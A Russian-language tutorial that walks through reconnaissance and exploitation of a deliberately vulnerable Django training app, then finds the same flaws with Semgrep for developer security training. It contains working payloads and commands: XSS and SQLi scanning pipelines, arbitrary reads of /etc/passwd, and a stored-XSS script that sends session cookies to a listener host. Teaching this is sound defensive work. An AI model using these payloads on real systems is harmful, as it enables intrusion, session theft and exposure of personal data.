Как выглядит веб-приложение с точки зрения злоумышленника?

Чтобы ответить на этот вопрос, сегодня мы возьмем заведомо уязвимое приложение и на его примере разберемся, как искать точки входа, какие инструменты использовать для разведки и атаки, какие уязвимости можно повстречать и как их обнаружить в исходном коде.

Вы можете развернуть учебную среду на своей машине, повторять команды и проверять результаты их выполнения на вашем экземпляре приложения. Для демонстрации техник разведки и инструментов я использую общеизвестные уязвимые ресурсы: demo.testfire и testphp.vulnweb. Их URL я положил в workshop/urls.txt в репозитории проекта.

Дисклеймер: статья носит ознакомительный характер, и любые попытки злоупотребления данной информацией незаконны и могут повлечь за собой уголовное преследование в соответствии со статьями 272 и 273 УК РФ.

Пререквизиты и запуск

Сначала подготовьте окружение и запустите приложение — это позволит повторить все примеры из статьи локально. Инструкция актуальна в первую очередь для Debian-based дистрибутивов Linux, например, Kali или Ubuntu.

  1. Установите docker.

  2. Склонируйте репозиторий с уязвимым приложением: git clone https://github.com/achufistov/workshop.git

  3. Установите инструменты, которые мы будем рассматривать в статье: chmod +x workshop/workshop_tools_install.sh && ./workshop/workshop_tools_install.sh

  4. Запустите контейнер из образа с приложением: docker pull achuf/phd_workshop_app:latest && docker run -p 8000:8000 achuf/phd_workshop_app:latest

    Примечание: если у вас mac на M-чипе — используйте образ: achuf/phd_workshop_app_arm64:latest

  5. Установите burpsuite: sudo apt install burpsuite

После запуска контейнера выполните docker ps -a — приложение должно быть доступно на http://localhost:8000.

Если вы запустили Docker-контейнер по инструкции, откройте в браузере http://localhost:8000. Первое что мы видим — форма логина.

«Пробиться» напрямую не получается. Что делать? Провести разведку! Именно с этого начинают злоумышленники: ищут учётные данные, открытые конечные точки и любую открытую информацию о приложении.

Давайте пройдём по их пути: начнём с пассивной разведки, а затем перейдём к активной. Эти этапы тесно связаны между собой.

  • На первом этапе собираются разрозненные данные из открытых источников, чтобы составить общее представление о поверхности атаки.

  • На втором этапе, используя инструменты и методы ручной проверки, мы систематизируем полученную информацию и выявляем конкретные векторы для начала тестирования.

Глава 1. Всё начинается с пассивной разведки

Пассивная разведка — сбор информации из общедоступных источников без прямого взаимодействия с целевой системой, что снижает риск обнаружения. 

Примеры:

  • Работа с архивами: извлечение исторических версий сайтов и ранее существующих URL из таких архивов, как Wayback Machine.

  • Анализ публичных репозиториев: исследование платформ вроде GitHub, GitLab или Bitbucket на предмет утечек конфиденциальной информации: ключей API, паролей, токенов доступа или фрагментов исходного кода приложения.

  • Сбор информации о технологиях: определение используемого стека технологий (веб-сервер, фреймворк, язык программирования) по метаданным, доступным в открытых источниках.

  • Анализ данных в открытых источниках: просмотр обсуждений на форумах, поиск упоминаний сотрудников или сообщений о проблемах в работе системы.

Пример команд для массового сбора URL-ов:

cat workshop/urls.txt | gau --threads 5 > urls_found

Альтернатива:

cat workshop/urls.txt | waybackurls > urls_found

Инструмент, который я использую — gau(GetAllUrls): позволяет собрать URL из Wayback Machine, Common Crawl и Open Threat Exchange. В результате формируется расширенный список URL, который представляет значительную ценность для дальнейшего анализа.

Практическое применение собранных данных:

  • Выявление скрытой поверхности атаки: обнаружение устаревших или архивных версий API-эндпоинтов, выявление административных панелей и служебных разделов.

  • Поиск секретов в query-параметрах найденных URL: cat urls_found | grep -Ei "(password|private|token|secret|key|authorization|bearer" .

Fingerprinting

Fingerprinting — определение технологического стека целевого ресурса: веб-сервер, фреймворки, библиотеки и их версии.

Начать знакомство можно с удобного браузерного плагина — Wappalyzer. C его помощью мы можем определить используемые:

  • веб-сервера (Nginx, Apache, IIS),

  • backend-фреймворки и их версии (Django, Spring, Express.js),

  • фронтенд-фреймворки, библиотеки и их версии,

  • системы управления контентом (CMS),

  • другие компоненты технологического стека.

С точки зрения атакующего, полученные данные могут принести достаточно ощутимую пользу, например, узнав версии разных компонент, атакующий, как минимум, погуглит известные CVE для данной версии данной библиотеки и попробует проверить, не закрыта ли эта уязвимость на данном ресурсе. Таким образом, полученные данные позволяют:

  • Искать информацию об эксплойтах для уже известных уязвимостей (CVE) под конкретные используемые версии ПО.

  • Определять приоритетные векторы атаки.

  • Фокусироваться на наиболее вероятных точках компрометации.

Dorking

Dorking — это методика составления целевых поисковых запросов для обнаружения конфиденциальной информации, оказавшейся в открытом доступе: API-ключей, дампов баз данных, служебных файлов с метаданными и другой чувствительной информации.

Мы можем составлять поисковые запросы либо самостоятельно, либо с использованием уже готовых решений, например, такого, как Bug Bounty Dorks

Несмотря на то, что эта техника существует не одно десятилетие, она продолжает приносить результаты благодаря человеческому фактору — чувствительные данные регулярно появляются в публичных репозиториях и на корпоративных ресурсах.

Полученные в ходе пассивной разведки данные формируют основу для перехода к следующему этапу исследования.

Глава 2. Активная разведка

Активная разведка предполагает прямую верификацию собранных данных и составление детальной карты поверхности атаки.

В отличие от пассивных методов, эти действия могут быть зафиксированы системами мониторинга целевого ресурса, однако именно они позволяют получить наиболее точную и актуальную информацию о безопасности системы. Сюда входят такие методы, как сканирование портов, перебор директорий файлов на сервере, перебор параметров, GET-запросов, POST-запросов и других видов HTTP-запросов.

Рассмотрим ключевые направления и инструменты активной разведки.

№1. Сканирование сети и портов (Port Scanning)

Цель: верификация открытых портов и запущенных сервисов, выявленных через пассивные источники.

Инструментыnmapmasscannaabu.

Пример использованияnmap -p- --min-rate 1000 -T4 -A целевой_домен -oA fullscan

Флаги и их объяснение:

  • -p-: сканировать все 65 535 портов (по умолчанию Nmap проверяет только 1000 распространенных портов). Альтернатива: -p1-65535.

  • --min-rate 1000: отправлять не менее 1000 пакетов в секунду. Ускоряет сканирование, но может вызвать потерю пакетов или блокировку.

  • -T4 : шаблон скорости (Timing Template). Уровень 4 (агрессивный) уменьшает задержки между запросами. Диапазон: от T0 (очень медленно) до T5 (очень быстро).

  • -A: Расширенное обнаружение: включает определение ОС, версий сервисов. Пример вывода: версия Apache 2.4, ОС Linux 3.x.

  • -oA fullscan — сохранить результаты в трех форматах одновременно: fullscan.nmap (человекочитаемый текст), fullscan.xml (структурированный XML), fullscan.gnmap ("greppable" формат для обработки скриптами).

Важно:

  • Агрессивные флаги (-T4--min-rate) могут вызвать срабатывание средств защиты.

  • Для менее агрессивного сканирования используйте флаги -T2 (нормальная скорость) и -sS (стелс-сканирование).

№2. Перебор ресурсов (Fuzzing)

  • Можем перебирать директории и файлы: искать скрытые или служебные ресурсы. Инструменты: ffufdirsearch.

  • Можем перебирать параметры HTTP-запросов: параметры, принимающие пользовательский ввод без очистки, могут привести к выполнению злоумышленником успешных сценариев атак, таких как межсайтовый скриптинг, открытое перенаправление и другие. Инструменты: arjunParam Miner.

    Пример базового перебора: arjun -u целевой_домен

№3. Анализ DNS (DNS Enumeration)

Цель: обнаружение поддоменов и связанных ресурсов.

Инструменты: amassmassdnssublist3r.

Пример базового перечисления с выводом источников в файл: amass enum -d целевой_домен -o amass_result.txt

Флаги и их объяснение:

  • enum: режим перечисления поддоменов.

  • -d: целевой домен (например, example.com).

  • -o: сохранение результатов в файл.

Дополнительные флаги:

  • -active: активное сканирование (отправка DNS-запросов к обнаруженным поддоменам).

  • -brute: перебор поддоменов по словарю.

  • -src: показать источники обнаружения (например, VirusTotal, CrTSH).

  • -config: указать файл конфигурации с API-ключами.

№4. Исследование поведения веб-приложения

  • HTTP-заголовки: Манипуляция содержимым заголовков, анализ ответа приложения (Host, X-Forwarded-For, Origin, Content-Type, User-Agent, Content-Length, Transfer-Encoding, Cookie, Authorization)

  • HTTP-методы: Тестирование поддерживаемых методов (GET, POST, PUT, DELETE, PATCH, OPTIONS, TRACE, CONNECT)

  • API-интерфейсы: Не забываем учитывать специфику использования различных типов API (REST, GraphQL, gRPC)

№5. Автоматизация сбора данных

Здесь два пункта: создание скриншотов и анализ JS.

Создание скриншотов — быстрая визуальная оценка найденных ресурсов.

Инструмент: EyeWitness (eyewitness -f urls.txt -d screens).

Пример работы — вывод скриншота для одного из url’ов:

С помощью анализа JavaScript вы можете найти ссылки на конкретные конечные точки API. Кроме того, параметры, управляющие флагами функций или предоставляющие доступ к конечным точкам тестирования, могут отображаться в этих скриптах как имена переменных, аргументы функций или фрагменты URL. Изучение исходного кода JavaScript помогает обнаружить недокументированные API или параметры и понять, как они работают.

Инструменты: Link FinderJSLinkFinder.

Пример работы JSLinkFinder — расширения для Burp Suite:

Глава 3. Автоматизация с помощью Nuclei

Завершая тему разведки, рассмотрим её интеграцию с наступательными инструментами на примере Nuclei. Это высокопроизводительный сканер с открытым исходным кодом, использующий для работы YAML-шаблоны. Каждое правило Nuclei содержит идентификатор, описание, уровень критичности и логику проверки, что позволяет стандартизировать процесс тестирования.

Пример:

Данное правило предназначено для автоматического поиска уязвимостей типа Open Redirect — когда приложение перенаправляет пользователей на внешние URL без должной проверки. В блоке requests правило выполняет GET-запросы с различными параметрами, содержащими внешний URL. В блоке matchers правило считает уязвимость подтвержденной, если:

  1. В заголовках ответа есть строка Location: https://bing.com.

  2. HTTP-статус ответа соответствует кодам перенаправления (301, 302, 303, 307, 308).

Таким образом, если приложение уязвимо, при запросе http://target.com/?redirect=https://bing.com, то сервер вернет ответ:

HTTP/1.1 302 Found

Location: https://bing.com

Nuclei обнаружит это совпадение и сообщит об уязвимости.

Сценарии использования

№1. Базовое сканирование поддоменов:

subfinder -d testphp.vulnweb.com -o subdomains.txt && cat subdomains.txt | nuclei -t workshop/nuclei-workshop-templates/ -o findings.txt

Команда собирает поддомены целевого домена и передает их в Nuclei для проверки по заданным шаблонам.

№2. Оптимизация стратегии сканирования:

nuclei -l subdomains.txt -ss host-spray или template-spray

Режимы host-spray (один шаблон для многих хостов) и template-spray (много шаблонов для одного хоста) позволяют гибко управлять нагрузкой, которую способен генерировать инструмент.

№3. Пайплайн разведки с поиском одного конкретного типа sqli - error-based:

subfinder -d testphp.vulnweb.com -all | waybackurls | gf sqli | uro | nuclei -t workshop/nuclei-workshop-templates/errsqli.yaml -rl 50

Команда объединяет сбор поддоменов, извлечение исторических URL, фильтрацию потенциально уязвимых точек через gf (обертка над grep), дедупликацию через uro и целенаправленное тестирование на SQL-инъекции с ограничением скорости запросов.

№4. Автоматическая генерация шаблонов:

nuclei -list workshop/urls.txt -ai "Find sensitive information in HTML comments"

Флаг -ai активирует экспериментальную функцию генерации шаблонов через API Nuclei.

№5. Для полноценного тестирования критически важно учитывать сценарии с авторизацией. Nuclei поддерживает различные механизмы авторизации через флаг -secret-file:

nuclei -l subdomains.txt -je -o nuclei.json -secret-file nuclei.yaml -v debug

Флаг -secret-file позволяет передать файл с учетными данными, а -je сохраняет результаты в JSON формате для последующего анализа.

Поддерживаемые типы конфигураций авторизации для nuclei.yaml

№1. Базовая HTTP-аутентификация:

- type: basicauth

  domains:

    - scanme.sh

  username: test

  password: test

2. API-ключ через параметры запроса:

- type: query

  domains:

    - example.com

  params:

    - key: token

      value: 1a2b3c4d5e6f7g8h9i0j

3. Bearer Token аутентификация:

- type: bearertoken

  domains-regex:

    - .*scanme.sh

  token: test

4. Кастомные заголовки:

- type: header

  domains:

    - api.projectdiscovery.io

  headers:

    - key: x-pdcp-key

      value: <api-key-here>

5. Аутентификация через куки:

- type: cookie

  domains:

    - scanme.sh

  cookies:

    - key: PHPSESSID

      value: 1a2b3c4d5e6f7g8h9i0j

Теперь, когда мы знакомы с колоссальным количеством подходов к разведке и ее автоматизации, мы можем создавать мощные команды-однострочники.

Команды-однострочники

№1. Автоматизация поиска XSS:

echo http://testphp.vulnweb.com | waybackurls | gf xss | uro | qsreplace '"><svg onload=confirm(1)>' | airixss -payload "confirm(1)"

Пайплайн собирает URL, фильтрует потенциально уязвимые к Reflected XSS точки, подставляет полезную нагрузку и оповещает нас в случае, если мы получили срабатывание.

Давайте разберемся в его работе по шагам:

1. echo http://testphp.vulnweb.com | waybackurls

  • Что делает: Получает список URL для целевого домена из Wayback Machine.

2. | gf xss

  • Что делает: Фильтрует URL с помощью шаблона gf xss.

  • Зачем: Шаблон xss ищет параметры, которые часто отражают пользовательский ввод на странице (например, ?q=, ?search=, ?name=, ?message=), что является ключевым условием для возникновения отраженной XSS.

3. | uro

  • Что делает: Утилита для удаления дублирующихся URL, которые могут отличаться только значением параметров (например, ?q=test и ?q=admin будут приведены к ?q=xxx).

  • Зачем: Значительно ускоряет дальнейшую обработку, исключая избыточные проверки одного и того же эндпоинта с разными данными.

4. | qsreplace '">'

  • Что делает: Заменяет значения всех параметров в URL на полезную нагрузку - "><svg onload=confirm(1)>.

  • Пример:

  • Зачем: Эта нагрузка позволяет выйти из атрибута ("), закрывает предыдущий HTML-тег (>), и вставляет новый тег <svg> с обработчиком onload, который выполнит JavaScript-функцию confirm(1) при загрузке элемента.

5. | airixss -payload "confirm(1)"

  • Что делает: Принимает список URL с уже подставленными payload-ами и для каждого:

    1. Отправляет HTTP-запрос.

    2. Анализирует ответ от сервера.

    3. Ищет в этом ответе строку, указанную в -payload (в данном случае "confirm(1)").

  • Зачем: Если сервер без должной фильтрации отразит нашу полезную нагрузку ("><svg onload=confirm(1)>) внутри HTML-кода, то браузер выполнит JavaScript. airixss обнаружит этот факт, если найдет строку confirm(1) в ответе. 

2. Автоматизация поиска SQL-инъекций:

echo http://testphp.vulnweb.com | waybackurls | gf sqli >> sqli && sqlmap -m sqli -batch --random-agent --level 1

Собранные потенциально уязвимые URL передаются в sqlmap для автоматической верификации SQL-инъекций.

Посмотрим на работу “однострочника” по шагам:

1. echo http://testphp.vulnweb.com

  • Что делает: Передает целевой URL в стандартный вывод для работы следующей команды.

2. | waybackurls

  • Что делает: Аналогично предыдущему однострочнику, получает исторические URL (ссылки, пути) для целевого домена из архивов (например, Wayback Machine).

3. | gf sqli

  • Что делает: Фильтрует список URL с помощью утилиты gf, используя заранее подготовленный шаблон (sqli).

  • Зачем: Шаблон sqli ищет URL, которые содержат параметры, типичные для взаимодействия с базой данных (например, ?id=, ?user=, ?category=). Это отсеивает статичные ссылки без параметров и оставляет только те, что могут быть потенциально уязвимы.

4. >> sqli

  • Что делает: Перенаправляет вывод (отфильтрованный список URL) в файл с именем sqli (добавляет данные в конец файла, если он существует).

  • Зачем: Сохраняет результаты для последующего использования sqlmap. Файл sqli теперь представляет собой целевой список для проверки.

5. && sqlmap -m sqli -batch --random-agent --level 1

  • Что делает: Запускает sqlmap с следующими ключами:

    • -m sqli: Читает целевые URL из файла sqli.

    • -batch: Работает в автоматическом режиме, используя ответы по умолчанию на все вопросы sqlmap, служит для ускорения автоматизации.

    • --random-agent: Использует случайно выбранное значение заголовка HTTP User-Agent.

    • --level 1: Выполняет тесты с минимальным уровнем глубины проверки (проверяет только параметры из URL, GET-запросы).

  • Зачем: Это этап активного тестирования. sqlmap автоматически отправляет множество payload-ов к каждому URL из файла, пытаясь найти и подтвердить уязвимость.

3. Автоматизация поиска Open Redirect:

echo http://testphp.vulnweb.com/ | (gau || waybackurls) | grep -a -i \=http | qsreplace 'http://example.com' | while read host do; do curl -s -L $host -I | grep "http://example.com" && echo -e "$host \033[0;31mVulnerable\n"; done

Команда находит параметры, содержащие URL, подставляет тестовый домен и проверяет наличие открытых перенаправлений.

Как это работает?

1. echo http://testphp.vulnweb.com/

  • Что делает: Аналогично предыдущим однострочникам.

2. (gau || waybackurls)

  • Что делает: Это команда "ИЛИ". Она пытается собрать исторические URL с целевого сайта.

    • Сначала запускается gau (GetAllURLs).

    • Если gau не установлен или завершится с ошибкой, выполняется waybackurls.

  • Зачем: Оба этих инструмента обращаются к Wayback Machine и другим источникам, чтобы получить список всех когда-либо зафиксированных URL для этого домена.

3. grep -a -i \=http

  • Что делает: Фильтрует список URL, оставляя только те, которые содержат в себе строку =http.

    • -i - игнорирует регистр (найдется и =http, и =HTTP).

    • -a - обрабатывает данные как текст (полезно, если в данных есть не-ASCII символы).

  • Зачем: Параметры в URL передаются в формате ?параметр=значение. Поиск =http — это быстрый способ найти параметры, значением которых является другой URL (например, url=, redirect=, next=, target=). Именно такие параметры являются для нас наиболее предпочтительными.

4. qsreplace 'http://example.com'

5. while read host do; do ... done

  • Что делает: Это начало цикла while. Он построчно читает входные данные (то есть список URL, уже обработанных qsreplace) и для каждой строки выполняет команды внутри do ... done.

6. curl -s -L $host -I

  • Что делает: Выполняет HTTP-запрос для текущего URL (который хранится в переменной $host).

    • -s — "тихий" режим, убирает лишний вывод.

    • -L — следует перенаправлениям. Если сервер вернет ответ "301 Moved" или "302 Found", curl автоматически перейдет по новому URL.

    • -I — выполняет запрос типа HEAD (только заголовки, без тела страницы). Это ускоряет проверку, так как нам важны только заголовки ответа.

7. grep "http://example.com"

  • Что делает: Просматривает все заголовки HTTP-ответа (включая те, что получены после следования по перенаправлениям) на предмет наличия строки http://example.com.

  • Зачем: Если эта строка найдена в заголовках, это с очень высокой вероятностью означает, что сервер использовал наше значение (http://example.com) для формирования заголовка Location:, то есть выполнил перенаправление туда, куда мы попросили. Это и есть признак наличия уязвимости.

8. && echo -e "$host \033[0;31mVulnerable\n"

  • Что делает: Выполнит echo в том случае, если предыдущая команда grep завершилась успешно.

    • Выводит сам URL ($host).

    • \033[0;31m — это escape-последовательность, которая меняет цвет текста на красный.

    • Выводит слово Vulnerable.

    • \n — добавляет пустую строку для лучшей читаемости.

  • Зачем: Это финальный результат работы скрипта — наглядное отображение найденной уязвимости. Все случаи вам предстоит верифицировать вручную.

Такой подход демонстрирует, что при глубоком понимании инструментов и их возможностей, можно разработать эффективные пайплайны для автоматического обнаружения уязвимостей уже на этапе первоначальной разведки.

Глава 4. Применяем полученные знания на практике

Далее мы вместе проэксплуатируем уязвимости в нашем приложении с использованием инструмента Burp Suite, поэтому, если до этого вы с ним никогда не сталкивались, предлагаю кратко проговорить основные моменты.

Burp Suite — платформа для тестирования безопасности веб-приложений как в ручном, так и в автоматических режимах. Две ключевые функции, которые нам пригодятся:

№1. Proxy — работает как промежуточный сервер между вашим браузером и целевым приложением. Он позволяет перехватывать и анализировать весь HTTP-трафик, что даёт полную видимость того, какие данные отправляются и принимаются.

№2. Repeater — инструмент для многократной отправки одного и того же HTTP-запроса с возможностью изменять параметры, заголовки или тело запроса. Используется для исследования реакции приложения на изменяющиеся входные данные.

Рабочий сценарий: включаете проксирование (через браузерные расширения, например, FoxyProxy) или используете встроенный в Burp браузер — Chromium. Перехватываете запрос, отправляете его в Repeater, и начинаете работать с приложением, экспериментируя с параметрами исходного запроса.  

№1. Фаззим наше веб-приложение 

Пришла пора применить полученные знания на практике! Перейдем в каталог нашего репозитория и выполним следующую команду:

cd workshop

ffuf -u http://localhost:8000/FUZZ -c -recursion -recursion-depth 2 -recursion-strategy greedy -w wordlists/wordlist.txt

ffufперебирает пути и файлы из словаря, переданные ему на вход, где FUZZ — это плейсхолдер для значений из словаря. Пара моментов, на которые нужно обратить внимание:

  • Словари — основа фаззинга: можно использовать готовые из GitHub или составить собственные.

  • Рекурсивный фаззинг означает, что при нахождении директории ffuf будет заходить внутрь и продолжать поиск.

  • Параметр recursion-depth задаёт глубину вложенности.

  • Стратегия greedy позволяет вести рекурсивный поиск не только по ответам с кодом 200, но и по другим статусам — таким как 403 (Forbidden) и 404 (Not Found). Это полезно в ситуациях, когда на веб-сервере (например, Nginx) некорректно настроены ограничения доступа.

Классический пример конфигурационной ошибки:

  • При обращении к директории (/admin/) сервер возвращает 403 Forbidden (доступ запрещён).

  • Однако прямой доступ к конкретному файлу внутри этой директории (/admin/backup.sql) может возвращать статус 200 OK.

В одном из прогонов был найден static/backup.txt — файл с данными для авторизации. 

Используя их мы можем войти в приложение и увидеть внутренний портал: посты, комментарии, профили сотрудников.

№2. Фаззинг параметров

Продолжим исследовать содержимое нашего приложения. Рассмотрим функционал для поиска статей:

На первый взгляд ничего примечательного нет. Давайте попробуем перебрать параметры GET-запроса под авторизацией, используя следующую команду:

ffuf -u 'http://localhost:8000/search/?FUZZ=some-value' -c \
-w wordlists/params.txt \
-b "Cookie: csrftoken=<your-csrftoken>; sessionid=<your-sessionid>"

Не забудьте подставить ваши csrftoken и sessionid из браузерного Storage или из запроса, который можно посмотреть в разделе Proxy -> HTTP history в Burp Suite.

В ходе проведения разведки важно обращать внимание не только на HTTP-статусы, но и на длину ответа. Из результатов тестирования видно, что параметр debug возвращает статус 500. Давай посмотрим что происходит более детально. Введем в адресную строку в браузере название интересующего параметра:

http://localhost:8000/search/?debug=test-value

Рассмотрим его в Burp, для этого отправим его в Repeater и посмотрим на ответ от сервера:

Судя по ответу “Error reading file”, сервер интерпретирует значение параметра как путь к файлу, что указывает на тот факт, что параметр debug допускает чтение произвольных файлов на сервере. 

Посмотрим на используемые приложением технологии через Wappalyzer. Анализ показывает, что приложение использует фреймворк Django. Это важное наблюдение — так как Django имеет характерную структуру проекта, мы можем попробовать прочитать стандартные файлы, такие как manage.py (специфичный для Django скрипт-обертка, который автоматически создается в корне каждого нового проекта) и конфигурационные файлы, которые могут содержать чувствительные данные.

Для подтверждения уязвимости последовательно протестируем чтение критичных файлов:

  • manage.py — успешно получен исходный код файла:

  • /etc/passwd — стандартный тест на чтение файла, содержащего информацию о пользователях системы, для UNIX-систем:

Успешное чтение этих файлов демонстрирует критичность уязвимости:

  • Чтение manage.py и любых других файлов проекта может раскрыть его структуру, что упрощает планирование дальнейшей атаки. 

  • Чтение /etc/passwd подтверждает возможность доступа к системным файлам и позволяет получить список пользователей системы.

  • Также возможен доступ к файлам с исходным кодом приложения, логам и другим критичным данным.

№3. Эксплуатация XSS в комментариях к постам

В приложении есть хранимая XSS в комментариях. Данная уязвимость позволяет злоумышленнику внедрить и сохранить на сервере вредоносный JavaScript-код, который будет автоматически выполняться в браузере каждого пользователя, просматривающего страницу с комментарием. Для примера, пусть у нас user1 (старший разработчик, Иванов Александр Александрович) будет атакующим, а user5 (системный администратор, Кузнецов Артем Артемович) будет жертвой.

Проведение атаки:

Атакующий оставляет в комментариях к посту полезную нагрузку
<script>fetch('http://localhost:8888/steal?cookie=' + document.cookie)</script>

Тег <script> не фильтруется, поэтому fetch-запрос с объектом document.cookie автоматически отправится на наш сервер при открытии данной страницы пользователем-жертвой. В реальной жизни злоумышленник указал бы адрес подконтрольного ему сервера. В Burp Suite есть сервис Collaborator, который позволяет сделать это в демонстрационных целях. Но так как он доступен только в платной версии, сделаем это все через netcat, «по старинке».

На примере слева открыт браузер злоумышленника, а справа жертвы:

После сохранения комментария, когда жертва открывает страницу с постом, происходит следующее:

  • Браузер автоматически исполняет внедренный скрипт.

  • Происходит несанкционированная передача session cookie на сервер злоумышленника.

  • Атакующий перехватывает учетные данные жертвы.

Теперь, используя украденные cookie и uuid профиля пользователя, отобразившийся в ответе сервера, мы можем отправить запрос к конечной точке /api/users/{uuid}/profile/, чтобы посмотреть личную информацию сотрудника, включающую его заработную плату и паспортные данные.

Паспортные данные, телефон, адрес, зарплата — “похек” успешно удался. 
Паспортные данные, телефон, адрес, зарплата — “похек” успешно удался. 

№4. IDOR и недостаточная проверка прав доступа

В результате прошлой атаки злоумышленник не только похитил сессионные cookie, но и получил UUID профиля пользователя-жертвы из ответа сервера. В ходе дальнейшего тестирования приложения можно обнаружить, что при обращении к эндпоинту /api/users/{uuid}/profile/ приложение не проверяет права доступа текущего аутентифицированного пользователя.

Важно понимать, что сам по себе UUID (Universally Unique Identifier), будучи криптографически стойким и непредсказуемым идентификатором, не обеспечивает защиту от несанкционированного доступа.

Чтобы избежать IDOR, следует добавить проверку контроля доступа для каждого объекта, с которым может взаимодействовать пользователь. Для более глубокого погружения в проблематику IDOR’ов рекомендую ознакомиться со статьей «Начинаем в багбаунти: доступно об уязвимостях типа Broken Access Control», где подробно разбираются сценарии атак, в том числе для приложений, использующих UUID.

№5. Поиск уязвимостей в исходном коде с помощью Semgrep

Проведение статического анализа (SAST) — критически важный этап в процессе безопасной разработки. В качестве инструмента SAST рассмотрим Semgrep — это анализатор с открытым исходным кодом, который позволяет пользователям писать свои собственные шаблоны и правила.

Помимо собственных сценариев можно использовать правила из предзаготовленного реестра: их создает и поддерживает команда разработчиков Semgrep. Можно использовать эти правила как есть, можно настроить под свою кодовую базу. Также доступны онлайн-редактор правил и учебник.

Начнём с создания изолированного окружения Python:

python3 -m venv semgrep-venv

source semgrep-venv/bin/activate

Установим Semgrep:

pip3 install semgrep

Перед тем, как запустить наше правило для поиска XSS в исходном коде, давайте изучим его структуру:

Данное правило выполняет поиск потенциально опасного использования функции mark_safe() в Django-приложениях:

  • Ищет все вызовы django.utils.safestring.mark_safe(...) в Python-коде.

  • Исключает безопасные случаи использования внутри format_html().

  • Игнорирует вызовы со строковыми литералами (статическим текстом).

Почему это важно?

Функция mark_safe() отключает автоматическое экранирование HTML, что может привести к XSS-уязвимостям, если применяется к пользовательскому вводу.

Запустим наше правило:

semgrep --config semgrep-rules/xss.yaml

И посмотрим на результаты его работы:

Благодаря статическому анализу кроме XSS в функционале комментариев (104 строка файла vulnapp/views.py) мы обнаружили наличие XSS также и в функционале поиска по статьям (59 строка файла vulnapp/views.py).

Попробуем протестировать нашу находку в самом приложении и посмотреть на результат? Как мы видим, срабатывание нашего правила оказалось корректным — отработала функция alert(1):

AppSec BP, работая непосредственно в командах разработки, должен быть способен идентифицировать потенциально опасные паттерны кода ещё до формирования поставки в production-среде. Представим, что мы и есть AppSec BP и взглянем на код, спровоцировавший другие уязвимости, которые мы ранее находили при тестировании методом «черного ящика». Функция search, через уязвимый параметр которой мы могли читать содержимое произвольных файлов на сервере:

Почему это уязвимость?

  • Содержимое параметра debug принимается от пользователя без фильтрации.

  • Отсутствует проверка пути на выход за пределы целевой директории, при этом сама целевая директория не определена.

IDOR на просмотр профиля пользователя:

Почему это уязвимость?

  • Отсутствует проверка, принадлежит ли запрашиваемый профиль текущему пользователю.

  • Любой авторизованный пользователь может получить доступ к любым профилям, зная UUID (который раскрывается в ответах сервера).

Итоги и рекомендации

Помимо функционального тестирования, внедряйте в ваши процессы регулярное тестирование на проникновение. Интегрируйте инструменты статического (SAST) и композиционного анализа (SCA) в процесс разработки на ранних этапах, но, конечно, помните, что они не заменяют вашего критического мышления и не отменяют необходимости в ручных проверках.

Зачем? В процессе разработки мы часто сосредоточены исключительно на корректности пользовательских сценариев — чтобы кнопки нажимались, формы отправлялись, а JSON’ы перекладывались. При этом легко упустить из виду, что те же самые функции могут быть использованы злоумышленником совершенно иным, непредусмотренным нами способом.

Полезные ссылки

  1. Daily Writeups — Telegram-канал с регулярными публикациями о баг-баунти и разборами уязвимостей с Medium.com

  2. LostSec — YouTube-канал с демонстрацией различных техник атак на веб-приложения, методов обхода средств защиты и другими материалами по безопасности


Подписывайтесь на Телеграм-канал Alfa Digital, где рассказывают о работе в IT и Digital: новости, события, вакансии, полезные советы и мемы.

Может быть интересно:

Как мы запустили подписку в Альфа-Банке и собрали миллион подписчиков за полгода
Я  Булат Хазимуратов , дизайнер в Daily Banking. Работаю над продуктами ежедневного пользования в мо...
habr.com
Как я пытался узнать, виноваты ли в сбое AWS ИИ и утечка мозгов
После недавнего сбоя AWS в сети появилась гипотеза о том, что причиной сбоя является недостаток опыт...
habr.com
Как автоматизировать тестирование батч-моделей? Гайд
Всем привет, меня зовут Дмитрий, я — MLE в Альфа-Банке, занимаюсь автоматизацией процессов и оптимиз...
habr.com

Представленный подход может стать готовой моделью для обучения IT. В Альфа-Банке мы также используем подобные стенды для подготовки Security Champions — ребят из команд разработки, которые становятся первым рубежом защиты. Создание уязвимых приложений силами AppSec позволяет:

  • Отрабатывать реалистичные сценарии атак без риска для приложений, развернутых в production-среде.

  • Адаптировать лаборатории под специфику корпоративных сервисов.

  • Формировать у разработчиков «мышление атакующего» на практике, чтобы уменьшить количество потенциальных уязвимостей еще на этапе написания кода.

Такие тренажеры полезны начинающим в ИБ и ИТ-командам, непосредственно участвующим в разработке. Подобные материалы, вместе с другими активностями, например, багатонами, мы используем в банке для обучения команд разработки основам ИБ.

Также у нас есть вакансии в ИБ, например, AppSec BP или MLSecOps. Откликайтесь по ссылке ниже (на баннере).

Комментарии (0)